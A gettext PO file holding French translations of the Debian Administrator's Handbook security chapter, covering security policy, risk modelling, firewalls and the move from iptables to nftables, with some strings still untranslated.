1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 2675 2676 2677 2678 2679 2680 2681 2682 2683 2684 2685 2686 2687 2688 2689 2690 2691 2692 2693 2694 2695 2696 2697 2698 2699 2700 2701 2702 2703 2704 2705 2706 2707 2708 2709 2710 2711 2712 2713 2714 2715 2716 2717 2718 2719 2720 2721 2722 2723 2724 2725 2726 2727 2728 2729 2730 2731 2732 2733 2734 2735 2736 2737 2738 2739 2740 2741 2742 2743 2744 2745 2746 2747 2748 2749 2750 2751 2752 2753 2754 2755 2756 2757 2758 2759 2760 2761 2762 2763 2764 2765 2766 2767 2768 2769 2770 2771 2772 2773 2774 2775 2776 2777 2778 2779 2780 2781 2782 2783 2784 2785 2786 2787 2788 2789 2790 2791 2792 2793 2794 2795 2796 2797 2798 2799 2800 2801 2802 2803 2804 2805 2806 2807 2808 2809 2810 2811 2812 2813 2814 2815 2816 2817 2818 2819 2820 2821 2822 2823 2824 2825 2826 2827 2828 2829 2830 2831 2832 2833 2834 2835 2836 2837 2838 2839 2840 2841 2842 2843 2844 2845 2846 2847 2848 2849 2850 2851 2852 2853 2854 2855 2856 2857 2858 2859 2860 2861 2862 2863 2864 2865 2866 2867 2868 2869 2870 2871 2872 2873 2874 2875 2876 2877 2878 2879 2880 2881 2882 2883 2884 2885 2886 2887 2888 2889 2890 2891 2892 2893 2894 2895 2896 2897 2898 2899 2900 2901 2902 2903 2904 2905 2906 2907 2908 2909 2910 2911 2912 2913 2914 2915 2916 2917 2918 2919 2920 2921 2922 2923 2924 2925 2926 2927 2928 2929 2930 2931 2932 2933 2934 2935 2936 2937 2938 2939 2940 2941 2942 2943 2944 2945 2946 2947 2948 2949 2950 2951 2952 2953 2954 2955 2956 2957
|
# Roland Mas <lolando@debian.org>, 2015.
msgid ""
msgstr ""
"Project-Id-Version: 0\n"
"POT-Creation-Date: 2020-05-17 17:54+0200\n"
"PO-Revision-Date: 2018-02-13 06:46+0000\n"
"Last-Translator: Olivier Humbert <trebmuh@tuxfamily.org>\n"
"Language-Team: French <https://hosted.weblate.org/projects/debian-handbook/14_security/fr/>\n"
"Language: fr-FR\n"
"MIME-Version: 1.0\n"
"Content-Type: application/x-publican; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 2.19-dev\n"
msgid "Firewall"
msgstr "Pare-feu"
msgid "Netfilter"
msgstr "Netfilter"
msgid "nftables"
msgstr ""
msgid "IDS/NIDS"
msgstr "IDS/NIDS"
msgid "Security"
msgstr "Sécurité"
msgid "An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”."
msgstr "Un système d'information a, selon les cas, une importance variable ; parfois, il est vital à la survie d'une entreprise. Il doit donc être protégé en conséquence contre divers risques, ce que l'on regroupe communément sous l'appellation de sécurité."
msgid "Defining a Security Policy"
msgstr "Définir une politique de sécurité"
msgid "<emphasis>CAUTION</emphasis> Scope of this chapter"
msgstr "<emphasis>ATTENTION</emphasis> Portée de ce chapitre"
msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject. An excellent starting point would be <citetitle>Linux Server Security</citetitle> by Michael D. Bauer (published by O'Reilly)."
msgstr "La sécurité est un sujet vaste et sensible, que nous ne saurions traiter complètement dans le cadre d'un seul chapitre. Nous nous limiterons ici à délimiter quelques points importants et présenter quelques-uns des outils et méthodes qui peuvent servir dans le domaine, mais la littérature est abondante et des ouvrages entiers ont été écrits sur le sujet. On pourra par exemple se rapporter à l'ouvrage <citetitle>Sécuriser un réseau Linux</citetitle> de Bernard Boutherin et Benoît Delaunay (collection Cahiers de l'Admin, éditions Eyrolles) ; à <citetitle>Sécurité informatique, principes et méthode</citetitle> de Laurent Bloch et Christophe Wolfhugel (collection blanche, éditions Eyrolles également) ; ou, en anglais, à l'excellent <citetitle>Linux Server Security</citetitle> de Michael D. Bauer (éditions O'Reilly)."
msgid "The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security."
msgstr "Le terme de « sécurité » recouvre une vaste étendue de concepts, d'outils et de procédures, qui ne s'appliquent pas à tous les cas. Il convient de s'interroger sur ce que l'on souhaite accomplir pour choisir lesquels mettre en œuvre. Pour sécuriser un système, il faut se poser quelques questions ; si l'on se lance tête baissée dans la mise en œuvre d'outils, on risque de se focaliser sur certains aspects au détriment des plus importants."
msgid "The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:"
msgstr "Il est donc crucial de se fixer un but. Pour cela, il s'agit d'apporter des réponses aux questions suivantes :"
msgid "<emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data."
msgstr "Que cherche-t-on à protéger ? La politique de sécurité à mener ne sera pas la même selon que l'on cherche à protéger les ordinateurs ou les données. Et s'il s'agit des données, il faudra également se demander lesquelles."
msgid "What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?"
msgstr "Contre quoi cherche-t-on à se protéger ? Est-ce d'un vol de données confidentielles ? De la perte accidentelle de ces données ? De la perte de revenu associée à une interruption de service ?"
msgid "Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group."
msgstr "Également, de qui cherche-t-on à se protéger ? Les mesures de sécurité à mettre en place différeront largement selon que l'on cherche à se prémunir d'une faute de frappe d'un utilisateur habituel du système ou d'un groupe d'attaquants déterminés."
msgid "The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions."
msgstr "Il est d'usage d'appeler « risque » la conjonction des trois facteurs : ce qui doit être protégé, ce qu'on souhaite éviter et les éléments qui essaient de faire en sorte que cela arrive. La réunion des réponses à ces trois questions permet de modéliser ce risque. De cette modélisation découlera une politique de sécurité, qui se manifestera à son tour par des actions concrètes."
msgid "<emphasis>NOTE</emphasis> Permanent questioning"
msgstr "<emphasis>NOTE</emphasis> Remise en question permanente"
msgid "Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly."
msgstr "Bruce Schneier, un des experts mondialement reconnus en matière de sécurité (pas uniquement informatique, d'ailleurs) lutte contre un des mythes importants de la sécurité par l'expression « La sécurité est un processus, non un produit. » Les actifs à protéger évoluent au fil du temps, de même que les menaces qui pèsent dessus et les moyens dont disposent les attaquants potentiels. Il est donc important, même si une politique de sécurité a été parfaitement conçue et mise en œuvre, de ne pas s'endormir sur ses lauriers. Les composants du risque évoluant, la réponse à apporter à ce risque doit également évoluer à leur suite."
msgid "Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation."
msgstr "Il faudra enfin prendre en compte les contraintes qui peuvent limiter la liberté d'action. Jusqu'où est-on prêt à aller pour sécuriser le système ? Cette question a un impact majeur et la réponse apportée est trop souvent formulée en seuls termes de coût, alors qu'il faut également se demander jusqu'à quel point la politique de sécurité peut incommoder les utilisateurs du système, ou en dégrader les performances, par exemple."
msgid "Once the risk has been modeled, one can start thinking about designing an actual security policy."
msgstr "Une fois que l'on a établi une modélisation du risque dont on cherche à se prémunir, on peut se pencher sur la définition d'une politique de sécurité."
msgid "<emphasis>NOTE</emphasis> Extreme policies"
msgstr "<emphasis>NOTE</emphasis> Politiques extrĂŞmes"
msgid "There are cases where the choice of actions required to secure a system is extremely simple."
msgstr "Dans certains cas, le choix des actions à mener pour sécuriser un système peut être extrêmement simple."
msgid "For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach."
msgstr "Par exemple, si le système à protéger se compose exclusivement d'un ordinateur de récupération qu'on n'utilise que pour additionner des chiffres en fin de journée, on peut tout à fait raisonnablement décider de ne rien faire de spécial pour le protéger ; en effet, la valeur intrinsèque du système est faible, celle des données est nulle puisqu'elles ne sont pas stockées sur cet ordinateur et un attaquant potentiel ne gagnerait à s'infiltrer sur ce « système » qu'une calculatrice un peu encombrante. Le coût de la sécurisation d'un tel système dépasserait probablement largement celui du risque."
msgid "At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…"
msgstr "À l'opposé, si l'on cherche à protéger absolument la confidentialité de données secrètes, au détriment de toute autre considération, une réponse appropriée serait la destruction complète de ces données (avec effacement des fichiers, puis pulvérisation des disques durs, dissolution dans de l'acide, etc.). Si les données doivent de plus être préservées, mais pas nécessairement accessibles, et si le coût n'est pas soumis à des contraintes, on pourra commencer en stockant ces données gravées sur des plaques de platine iridié stockées en divers bunkers répartis sous différentes montagnes dans le monde, chacun étant bien entendu entièrement secret mais gardé par des armées entières…"
#, fuzzy
#| msgid "Extreme though these examples may seem, they would nevertheless be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgid "Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgstr "Pour extrêmes qu'ils puissent paraître, ces deux exemples n'en sont pas moins des réponses adaptées à des risques définis, dans la mesure où ils découlent d'une réflexion qui prend en compte les buts à atteindre et les contraintes présentes. Lorsqu'il s'agit d'une décision raisonnée, aucune politique de sécurité n'est moins respectable qu'une autre."
msgid "In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel."
msgstr "Dans la plupart des cas, on s'apercevra que le système informatique peut être segmenté en sous-ensembles cohérents plus ou moins indépendants. Chacun de ces sous-systèmes pourra avoir ses besoins et ses contraintes propres ; il faudra donc en général les considérer séparément lors de la définition des politiques de sécurité correspondantes. Il conviendra alors de toujours garder à l'esprit le principe selon lequel un périmètre court et bien défini est plus facile à défendre qu'une frontière vague et longue. L'organisation du réseau devra donc être pensée en conséquence, afin que les services les plus sensibles soient concentrés sur un petit nombre de machines et que ces machines ne soient accessibles qu'à travers un nombre minimal de points de passage, plus faciles à sécuriser que s'il faut défendre chacune des machines contre l'intégralité du monde extérieur. On voit clairement apparaître ici l'utilité des solutions de filtrage du trafic réseau, notamment par des pare-feu. On pourra pour cela utiliser du matériel dédié, mais une solution peut-être plus simple et plus souple est d'utiliser un pare-feu logiciel, tel que celui intégré dans le noyau Linux."
msgid "Firewall or Packet Filtering"
msgstr "Pare-feu ou filtre de paquets"
# TODO: INTEGRATE ALTERNATE STRING: <primary><foreignphrase>firewall</foreignphrase></primary> <see>pare-feu</see>
msgid "<primary>firewall</primary>"
msgstr "<primary>pare-feu</primary>"
msgid "<primary>packet filter</primary>"
msgstr "<primary>filtre de paquets</primary>"
msgid "<emphasis>BACK TO BASICS</emphasis> Firewall"
msgstr "<emphasis>B.A.-BA</emphasis> Pare-feu"
msgid "<primary>packet</primary><secondary>IP</secondary>"
msgstr "<primary>paquet</primary><secondary>IP</secondary>"
msgid "A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions."
msgstr "Un pare-feu <foreignphrase>(firewall)</foreignphrase> est un ensemble matériel ou logiciel qui trie les paquets qui circulent par son intermédiaire, en provenance ou vers le réseau local, et ne laisse passer que ceux qui vérifient certaines conditions."
msgid "A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets."
msgstr "Un pare-feu est une passerelle filtrante : il applique des règles de filtrage aux paquets qui le traversent (c'est pourquoi il n'est utile qu'en tant que point de passage obligé)."
msgid "<emphasis>SPECIFIC CASE</emphasis> Local Firewall"
msgstr "<emphasis>CAS PARTICULIER</emphasis> Pare-feu local"
msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services, or possibly to prevent outgoing connections by rogue software that a user could, willingly or not, have installed."
msgstr "Un pare-feu peut limiter son action à une seule machine (et non pas un réseau local complet) ; son rôle principal est alors de refuser ou limiter l'accès à certains services, voire de se prémunir contre l'établissement de connexions sortantes par des logiciels indésirables que l'utilisateur pourrait avoir installés (volontairement ou pas)."
#, fuzzy
#| msgid "The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall. It can be controlled from user space with the <command>iptables</command> and <command>ip6tables</command> commands. The difference between these two commands is that the former acts on the IPv4 network, whereas the latter acts on IPv6. Since both network protocol stacks will probably be around for many years, both tools will need to be used in parallel."
msgid "The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall, which can be controlled from user space with the <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> and <command>ebtables</command> commands."
msgstr "Le noyau Linux intègre le pare-feu netfilter ; les outils <command>iptables</command> et <command>ip6tables</command> permettent de le configurer. La différence entre ces deux outils se limite à ce que le premier agit sur le réseau IPv4 alors que le second intervient sur le réseau IPv6. Les deux piles réseau étant amenées à cohabiter pendant de nombreuses années, il faudra faire usage des deux outils en parallèle."
msgid "<primary><command>iptables</command></primary>"
msgstr "<primary><command>iptables</command></primary>"
msgid "However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the <command>nft</command> command. Debian <emphasis role=\"distribution\">Buster</emphasis> uses the nftables framework by default."
msgstr ""
msgid "To enable a default firewall in Debian execute:"
msgstr ""
msgid ""
"<computeroutput># </computeroutput><userinput>apt install -y nftables\n"
"</userinput><computeroutput>Reading package lists... Done\n"
"...\n"
"# </computeroutput><userinput>systemctl enable nftables.service</userinput><computeroutput>\n"
"Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.\n"
"</computeroutput>"
msgstr ""
#, fuzzy
#| msgid "Netfilter Behavior"
msgid "nftables Behavior"
msgstr "Fonctionnement de netfilter"
msgid "As the kernel is processing a network packet it pauses and allows us to inspect the packet and decide what to do with that package. For example, we might want to drop or discard certain incoming packages, modify other packages in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems."
msgstr ""
